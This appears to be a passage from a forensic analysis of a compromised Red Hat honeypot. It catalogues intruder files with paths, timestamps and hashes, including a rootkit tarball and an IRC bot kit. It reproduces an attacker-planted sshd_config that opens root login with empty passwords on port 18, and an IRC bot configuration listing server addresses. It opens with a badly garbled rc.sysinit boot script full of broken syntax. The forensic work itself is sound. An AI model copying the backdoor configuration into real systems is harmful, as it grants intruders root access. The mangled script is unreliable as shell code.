if [-e /dev/.devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME="/bin/hostname"

# Read in config data.
if [-f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network
else
    NETWORKING=no
fi

if [-z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
    HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner.
)
echo -en $"\t\tWelcome to 
if grep -q "Red Hat" /etc/redhat-release ; then


[ "$BOOTUP" = "color" ] && echo "\"033[1;31m"$"\n033[0;39m"

echo "Red Hat"

[ "$BOOTUP" = "color" ] && echo "\"033[0;33m"$"\n033[0;39m"

PRODUCT=`sed "s/Red Hat \(.*\) release.*/\1/" /etc/redhat-release`

echo "$PRODUCT"

if [ "$PROMPT" != "no" ]; then
  echo "Press 'I' to enter interactive startup."
  echo
echo
echo
echo
echo
echo

echo
echo

echo

fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
  if [ -e /initrd/dev/.devfsd ]; then
    umount /initrd/dev
  fi

  action "$Unmounting initrd: " umount /initrd

  /sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1

  fi

# Mount /proc
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -e -p /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0

if [ -f /etc/sysconfig/clock ]; then
  . /etc/sysconfig/clock

  # convert old style clock config to new values
  if [ "$(CLOCKMODE)" = "GMT" ]; then
    UTC=true
  elif [ "$(CLOCKMODE)" = "ARC" ]; then
    ARC=true
  fi

  CLOCKDEF=""

  CLOCKFLAGS="$CLOCKFLAGS --hctosys"

  case "$UTC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --utc";
      CLOCKDEF="$CLOCKDEF (utc)";
    ;;
    no|false)
      CLOCKFLAGS="$CLOCKFLAGS --localtime";
      CLOCKDEF="$CLOCKDEF (localtime)";
    ;;

    esac

  case "$ARC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --arc";
      CLOCKDEF="$CLOCKDEF (arc)";
    ;;
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for alias in $aliases ; do
    [ "$alias" != "off" ] && action "$"Initializing USB controller ($alias): " modprobe $alias
done
    [ $? -eq 0 -a -n "$aliases" ] && usb=1
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
    usb=1
fi

needdusbstorage=
if [ $usb = "1" ]; then
    sleep 5
    mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=02'`
    kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=01'`
    needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e '^I.*Cls=08'`
    if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
        action "$"Initializing USB HID interface: " modprobe hid 2> /dev/null
    fi
    if [ -n "$kbdoutput" ]; then
        action "$"Initializing USB keyboard: " modprobe keybdev
    fi
    if [ -n "$mouseoutput" ]; then
        action "$"Initializing USB mouse: " modprobe mousedev
    fi
fi

if [ ! -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
    fastboot=yes
else
    fastboot=
fi

if [ ! -f /fsckoptions ]; then
    fsckoptions=`cat /fsckoptions`
else
    fsckoptions=
fi

if [ ! -f /forcefsck ]; then
    fsckoptions="-f $fsckoptions"
    elif [ -f /.autofsck ]; then
        echo "$"Your system appears to have shut down uncleanly"
        AUTOFSCK_TIMEOUT=5
        AUTOFSCK_DEF_CHECK=no
        [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
        if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
            AUTOFSCK_OPT=-f
        else
            AUTOFSCK_OPT=
        fi
    else
        AUTOFSCK_OPT=
    fi
    if [ "$PROMPT" != "no" ]; then
        if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
            if /sbin/getkey -c "$AUTOFSCK_TIMEOUT" -m "$Press N within \d seconds to not force file system integrity check..." n ; then
                AUTOFSCK_OPT=
            else
                if /sbin/getkey -c "$AUTOFSCK_TIMEOUT" -m "$Press Y within \d seconds to force file system inte
                grity check..." y ; then
                    AUTOFSCK_OPT=-f
                fi
            fi
        else
            echo
        else
    fi
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if [ ""${AUTOFSCK_DEF_CHECK}"" = "yes" ]; then
    echo "$CAP:Forcing file system integrity check due to default setting"
else
    echo "$CAP:Not forcing file system integrity check due to default setting"
fi

fsckoptions="${AUTOFSCK_OPT} $fsckoptions"
if [ "$BOOTUP" = "color" ]; then
    fsckoptions="-C $fsckoptions"
else
    fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
_ROOTFSTYPE=`grep " / " /proc/mounts | awk '{ print $3 }'`
if [ -z $fastboot -a "$ROOTFSTYPE" != "nfs" ]; then
    STRING=$"Checking root filesystem"
    echo $STRING
    initlog -c "fsck -T -a $fsckoptions /"
    rc=$?
    if [ $rc = "0" ]; then
        success "$STRING"
    elif [ $rc = "1" ]; then
        passed "$STRING"
        fi
    else
        fi

    # A return of 2 or higher means there were serious problems.
    if [ $rc -gt 1 ]; then
        failure "$STRING"
        echo echo echo
        echo echo echo $*** An error occurred during the file system check.
        echo $*** Dropping you to a shell; the system will reboot
        echo $*** when you leave the shell.
        PS1="${Repair filesystem}\# # "; export PS1
        sulogin
        echo "$Unmounting file systems"
        umount -a
        mount -n -o remount,ro /
        echo "$Automatic reboot in progress."
        reboot -f
        elif [ $rc = "1" ]; then
            _RUN_QUOTACHECK=1
            fi
fi

# Possibly update quotas if fsck was run on /.
    grep -E "[[:space:]]+/[^[:space:]]+/etc/fstab | \ awk '(! print $4)' | \ grep -q quota

    _ROOT_HAS_QUOTA=0
    if [ X\$_RUN_QUOTACHECK = X1 -a "\$_ROOT_HAS_QUOTA" -a \
        -x /sbin/quotacheck ]; then
        if [ -x /sbin/convertquotas ]; then
            if [ -f /quota.user ]; then
                action "$Converting old user quota files: "/sbin/convertquotas -u & & rm -f /quota.user
            fi
```

if [ -f /quota.group ]; then
action "$"Converting old group quota files: "$ \
/sbin/convertquota -g / && rm -f /quota.group
fi
fi
action "$"Checking root filesystem quotas: "$ /sbin/quotacheck -nug /
fi

# check for arguments passed from kernel
if grep -iq nopnp /proc/cmdline >/dev/null 2>&1 ; then
PNP=
else
PNP=yes
fi

# set up pnp
if [ -x /sbin/isapnp -a ! -f /etc/isapnp.conf ]; then
if [ -n "$PNP" ]; then
action "$"Setting up ISA PNP devices: "$ /sbin/isapnp /etc/isapnp.conf
else
action "$"Skipping ISA PNP configuration at users request: "$ /bin/true
fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev|/root|/ )/ { print $4 }' /proc/mounts` 
action "$"Remounting root filesystem in read-write mode: "$ mount -n -o remount,rw /

# LVM initialization
if [ -e /proc/lvm -a ! -x /sbin/vgchange -a ! -f /etc/lvmtab ]; then
action "$"Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi

# Clear mtab
>/etc/mtab

# Remove stale backups
rm -f /etc/mtab~ /etc/mtab~~

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -f / 
mount -f /proc 
[ -e /dev/.devfsd ] & & mount -f -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
IN_INITLOG=
fi

if ! grep -iq nomodu /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksyms ]; then
USEMODULES=y
else
USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred 
rmdir /lib/modules/default
if [ -x /sbin/depmod -a -n "$USEMODULES" ]; then
# If they aren't using a recent sane kernel, make a link for them
if [ ! -n "$uname -r" | grep -- "^-" ]; then
ktag="`cat /proc/version`"
mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`

if ! grep -l "$ktag" /lib/modules/*/rhmvtag 2> /dev/null

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if [ -n "$mtag" ]; then
    mver=`echo $mtag | sed -e 's,/lib/modules/,,' -e 's,.rhkmvtag,,' -e 's,[",].*$,,'`
fi
if [ -n "$mver" ]; then
    ln -sf /lib/modules/$mver /lib/modules/default
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" -a "-f /proc/isapnp -a -x /sbin/sndconfig" ]; then
    /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules iff they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null; then
    alias="/sbin/modprobe -c | awk '/^alias sound / { print $3 }'
    if [ -n "$.alias" -a "$alias" != "off" ]; then
        action "$alias: " modprobe sound
        RETURN=$?
    fi
    alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'
    if [ -n "$alias" -a "$alias" != "off" ]; then
        action "$alias: " modprobe sound-slot-0
        RETURN=$?
    fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
    if [ -n "$USEMODULES" ]; then
        sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
        sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
    else
        # We used to set this to NULL, but that causes 'failed to exec' messages
        sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
        sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
    fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
    /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
    modprobe md >/dev/null 2>&1
fi

if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
    echo -n "$Starting up RAID devices: 
rc=0
for i in `grep "^.*raiddev" /etc/raidtab | awk '{print $2}'`;
do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "^$RAIDDEV : active" /proc/mdstat`
    if [ -r "$RAIDSTAT" ]; then
        # First scan the /etc/fstab for the "noauto"-flag
        # for this device. If found, skip the initialization
        # for it to avoid dropping to a shell on errors.
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^$i" /etc/fstab | grep -c noauto`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 -a -x /sbin/raidstart ]; then
  /sbin/raidstart $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raid0run ]; then
  /sbin/raid0run $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raidadd -a -x /sbin/raidrun ]; then
  /sbin/raidadd $i
  /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
fi
echo -n "$RAIDDEV 
else
  echo -n "$RAIDDEV 
fi
done

# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
echo echo echo $"*** An error occurred during the RAID startup
echo $"*** Dropping you to a shell; the system will reboot"
echo $"*** when you leave the shell."
PS1=$"(RAID Repair) \# "; export PS1
sulogin

  echo $"Unmounting file systems"
  umount -a
  mount -o remount,ro /
  echo $"Automatic reboot in progress."
  reboot -f
fi

# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action $"Setting up Logical Volume Management:" /sbin/vgscan $a /sbin/vgchange -a y
fi

_RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING=$"Checking filesystems"
  echo $STRING
  initlog -c "$fsck -T -R -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  else
    echo $"*** An error occurred during the FSCK"
    echo $"*** Dropping you to a shell; the system will reboot"
    echo $"*** when you leave the shell."
    PS1=$"(FSCK Repair) \# "; export PS1
    sulogin
    echo $"Unmounting file systems"
    umount -a
    mount -o remount,ro /
    echo $"Automatic reboot in progress."
    reboot -f
  fi
fi
# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
    failure "\$STRING"
fi

ps1="\$(Repair filesystem) \# \# "; export PS1

sulogin

if [ "$rc" = "1" -a -x /sbin/quotacheck ]; then
    _RUN_QUOTACHECK=1
fi

# Automatic reboot in progress.
reboot -f
echo

echo "Unmounting file systems"

umount -a

if [ X"$_RUN_QUOTACHECK" = X1 -a -x /sbin/quotacheck ]; then
    if [ -x /sbin/convertquota ]; then
        for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
            if [ -f "$mountpt/quota.user" ]; then
                action "Converting old user quota files: " /sbin/convertquota -u $mountpt && rm -f $mountpt/quota.user
            fi
            if [ -f "$mountpt/quota.group" ]; then
                action "Converting old group quota files: " /sbin/convertquota -g $mountpt && rm -f $mountpt/quota.group
            fi
        done
        action "Checking local filesystem quotas: " /sbin/quotacheck -a
    fi
fi

if [ -x /sbin/quotaon ]; then
    action "Enabling local filesystem quotas: " /sbin/quotaon -a
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage, filesystems are NOT unmounted in single user mode.

# Check remaining quotas other than root
if [ X"$_RUN_QUOTACHECK" = X1 -a -x /sbin/quotacheck ]; then
    if [ -x /sbin/convertquota ]; then
        # Try to convert old quotas for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
        if [ -f "$mountpt/quota.user" ]; then
            action "Converting old user quota files: " /sbin/convertquota -u $mountpt && rm -f $mountpt/quota.user
        fi
        if [ -f "$mountpt/quota.group" ]; then
            action "Converting old group quota files: " /sbin/convertquota -g $mountpt && rm -f $mountpt/quota.group
        fi
        done
        action "Checking local filesystem quotas: " /sbin/quotacheck -a
    fi
fi

# Configure machine if necessary.
if [ -f /.unconfigured ]; then
    if [ -x /usr/bin/passwd ]; then
        /usr/bin/passwd root
    fi
    if [ -x /usr/sbin/netconfig ]; then
        /usr/sbin/netconfig
    fi
    if [ -x /usr/sbin/timeconfig ]; then
        /usr/sbin/timeconfig
    fi
    if [ -x /usr/sbin/kbdconfig ]; then
        /usr/sbin/kbdconfig
    fi
    if [ -x /usr/sbin/authconfig ]; then
        /usr/sbin/authconfig --nostart
    fi
fi
fi
if [ -x /usr/sbin/ntsysv ]; then
    /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network
fi

# Reset the hostname.
action "$Resetting hostname ${HOSTNAME}: " hostname ${HOSTNAME}

rm -f /.unconfigured

fi

# Clean out /etc.
rm -f /fastboot /fsckoptions /forcefsck / autosck / halt / poweroff

Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...

_NEED_XFILES=
    [ ! -f /var/run/utmpx -a ! -f /var/log/wtmpx ] && _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
    if [ -d "$afile" ]; then
        [ "$basename $afile" != "news" -a "$basename $afile" != "sudo" -a "$basename $afile" != "mon" ] && rm -f $afile
    else
        rm -f $afile
    fi
done

# Reset pam_console permissions
[ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

# Clean up utmp/wtmp
> /var/run/utmp
touch /var/log/wtmp
chgrp utmp /var/run/utmp /var/log/wtmp
chmod 0664 /var/run/utmp /var/log/wtmp
if [ ! -n "$NEED_XFILES" ]; then
    > /var/run/utmp
    touch /var/log/wtmp
    chgrp utmp /var/run/utmp /var/log/wtmp
    chmod 0664 /var/run/utmp /var/log/wtmp
fi

# Delete X locks
rm -f /tmp/.X*-lock

# Delete VNC & X locks
rm -rf /tmp/.X*-unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL.*

# Now turn on swap in case we swap to files. Swapon -a
action "$Enabling swap space: " /bin/true

# Initialize the serial ports.
if [ ! -f /etc/rc.serial ]; then
    . /etc/rc.serial
fi
# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [ -f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -qv ' 9 st' /proc/devices ; then
    # Try to load the module. If it fails, ignore it...
    insmod -p st 2>/dev/null && modprobe st 2>/dev/null 2>&1
  fi
  fi
  fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ] ; then
  modprobe usb-storage 2>/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd 2>/dev/null
  modprobe ide-scsi 2>/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [-e /proc/ide ] ; then
  for N in `grep -v ide-disk /proc/ide/*/*/driver 2>/dev/null | awk '{ print $5 }'` ; do
    hdparm -q -d0 /dev/$N 2>/dev/null
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#
if [-x /sbin/hdparm ] ; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ; do
    unset MULTIPLE_IO USE_DMA IDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [-f /etc/sysconfig/harddisk$[disk[$device]] ] ; then
      . /etc/sysconfig/harddisk$[disk[$device]]
      HDFLAGS[$device]=
      if [ -n "$MULTIPLE_IO" ] ; then
        HDFLAGS[$device]=$(HDFLAGS[$device]) -q -m$MULTIPLE_IO
      fi
      if [ -n "$USE_DMA" ] ; then
        HDFLAGS[$device]=$(HDFLAGS[$device]) -q -d$USE_DMA
      fi
      if [ -n "$IDE_32BIT" ] ; then
        HDFLAGS[$device]=$(HDFLAGS[$device]) -q -c$IDE_32BIT
      fi
      if [ -n "$LOOKAHEAD" ] ; then
        HDFLAGS[$device]=$(HDFLAGS[$device]) -q -a$LOOKAHEAD
      fi
      if [ -n "$EXTRA_PARAMS" ] ; then
        HDFLAGS[$device]=$(HDFLAGS[$device]) $EXTRA_PARAMS
      fi
    else
      fi
  done
fi

HDFLAGS[$device]="${HDFLAGS[0]}"
fi
if [ -e "/proc/ide/${disk[$device]}/media" ]; then
  hdmedia=`cat /proc/ide/${disk[$device]}/media`
  if [ "hdmedia" = "disk" ]; then
    if [ -n "$HDFLAGS[$device]" ]; then
      action "Setting hard drive parameters for ${disk[$device]}:"
      /sbin/hdparm ${HDFLAGS[$device]} /dev/${disk[$device]}
    fi
  fi
done

# Generate a header that defines the boot kernel.
/sbin/mkkerneldoth

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [ -L /boot/System.map -a -r /boot/System.map -a -r /boot/System.map -a -r /boot/System.map -a -r /boot/System.map ]; then
  ln -s -f System.map /boot/System.map -a -r /boot/System.map
fi
if [ -L /boot/System.map -a -r /boot/System.map -a -r /boot/System.map -a -r /boot/System.map ]; then
  ln -s -f System.map /boot/System.map -a -r /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/$(uname -r)/libredhat-kernel.so* ; do
  ln -s -f $library /lib
oddone
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
# dmsetup -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
j=5
while [ $i -ge 0 ]; do
  if [ -f /var/log/ksyms.$i ]; then
    mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
  fi
  i=$((i-1))
done
/bin/date
/bin/uname -a;
/bin/cat /proc/cpuinfo;
[ -r /proc/modules ] && /bin/cat /proc/modules;
[ -r /proc/ksyms ] && /bin/cat /proc/ksyms > /var/log/ksyms.0
# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ./autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1
&
if [ "$PROMPT" != "no" ]; then
  /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/sbin/sshd_config
Entry Modified 06/29/03 03:25:20PM
Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

**Config files**

httpd configuration files

40) Name access.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\etc\httpd\conf\access.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value 5cf0c5e40cc02c415b7bd1c6f325eec
Physical Size 1,024
Logical Size 285

41) Name httpd.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\etc\httpd\conf\httpd.conf
Entry Modified 06/27/03 02:11:35PM
Last Accessed 06/29/03 04:02:23AM
42) Name  srm.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
Entry Modified  06/20/03 02:17:32AM
Last Accessed  06/29/03 04:02:23AM
Last Written  04/09/02 12:56:58PM
Hash Value  b0366a9aad99e0f7515bbdc255e9a23
Physical Size  1,024
Logical Size  297

43) Name  httpd.conf.bak
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified  06/27/03 02:08:34PM
Last Accessed  06/27/03 02:08:34PM
Last Written  04/09/02 12:56:58PM
Hash Value  55d44549fa2d844e59257b0f6286e197
Physical Size  52,224
Logical Size  51,270

**Root Kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name  samba.tgz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified  06/29/03 03:41:42PM
Last Accessed  06/29/03 03:41:56PM
Last Written  04/29/03 06:48:30AM
Hash Value  4c41dbabb341c57e56c0394d6efc3d3
Physical Size  13,312
Logical Size  13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name  README
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:34:10PM
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Last Written: 11/08/00 12:38:22AM
Hash Value: 5f44d68618af6262120f17664fc0d16
Physical Size: 4,096
Logical Size: 3,398

46) Name: LinkEvents
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font\unix\X11-pipe\LinkEvents
Entry Modified: 06/29/03 03:43:55PM
Last Accessed: 06/29/03 03:34:10PM
Last Written: 06/29/03 03:43:55PM
Hash Value: a20fef753ecc02a2a21d18bcfe466808
Physical Size: 1,024
Logical Size: 80

47) Name: mech.set
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font\unix\X11-pipe\mech.set
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:34:10PM
Last Written: 01/29/03 05:11:38PM
Hash Value: d09d745a3eebdbec553e943a1c68f98e
Physical Size: 2,048
Logical Size: 1,150

48) Name: checklpd
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font\unix\X11-pipe\checklpd
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:34:10PM
Last Written: 10/09/00 06:22:02PM
Hash Value: f23e76196e176cf6ee66a4a6f1d7718
Physical Size: 1,024
Logical Size: 942

49) Name: lpd.usr
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font\unix\X11-pipe\lpd.usr
Entry Modified: 06/29/03 07:02:27PM
Last Accessed: 06/29/03 03:34:10PM
Last Written: 06/29/03 07:02:27PM
Hash Value: e64ef3ddd690630d1c0ce47593ee9e8
Physical Size: 1,024
Logical Size: 352

50) Name: M4c4r0n.seen
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font\unix\X11-pipe\M4c4r0n.seen
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Comment: IRC server config file.

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linkport -1
nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
channel #select

tog PROT 1
channel #0rastie

tog PROT 1
channel #bash-2.05a$

set MDL 4
set MPL 2

tog AOP 1
tog SHIT 1
tog PROT 1

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
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56) Name    V E R S I O N S
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pipe\VERSIONS
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Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name    randinsult.e
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Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-
pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ecbc9f7
Physical Size 4,096
Logical Size 3,982

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Physical Size 64,512
Logical Size 64,160

69) Name link.o
Description File
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Hash Value 95dfe25136ed84b2c53ee8353761a23
Physical Size 97,280
Logical Size 96,896

70) Name global.h
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/global.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:12:04PM
Hash Value c0f09ce5d8d0a233cf59a39a8fa089be
Physical Size 12,288
Logical Size 12,044

71) Name link.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/link.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e6115dc63c46b08548e077a17da645aa
Physical Size 47,104
Logical Size 46,547

72) Name gencmd.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/gencmd.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:30:22AM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size 9,216
Logical Size 8,983

73) Name parse.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/parse.o
Entry Modified 06/29/03 03:32:50PM
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Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:34PM
Hash Value f3abbd84ec27e1badf4af1b480b31938
Physical Size 76,800
Logical Size 76,756

74) Name cfgfile.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp\.font-unix\X11-pipe\src\cfgfile.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:14:22PM
Hash Value ee752441cd67aec374e1d77ab4630977
Physical Size 17,408
Logical Size 16,951

75) Name cfgfile.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp\.font-unix\X11-pipe\src\cfgfile.o
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Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:20PM
Hash Value 0a445c0fa05cf6b6d3c4at0fc99ece2
Physical Size 71,680
Logical Size 71,392

76) Name socket.c
Description File
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Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value b47201862975f1ee5b787968822cdf1
Physical Size 11,264
Logical Size 10,616

77) Name services
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp\.font-unix\X11-pipe/inetd\services
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Last Accessed 06/29/03 03:32:50PM
Last Written 03/15/02 07:27:40PM
Hash Value a964f156ab911428a2ae6e8349842f13
Physical Size 475,136
Logical Size 474,596

78) Name userlist.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp\.font-unix\X11-pipe\src\userlist.o

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Entry Modified: 06/29/03 03:32:50PM
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Last Written: 08/27/01 02:00:36PM
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Physical Size: 74,752
Logical Size: 74,592

79) Name: usage.h
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src/usage.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
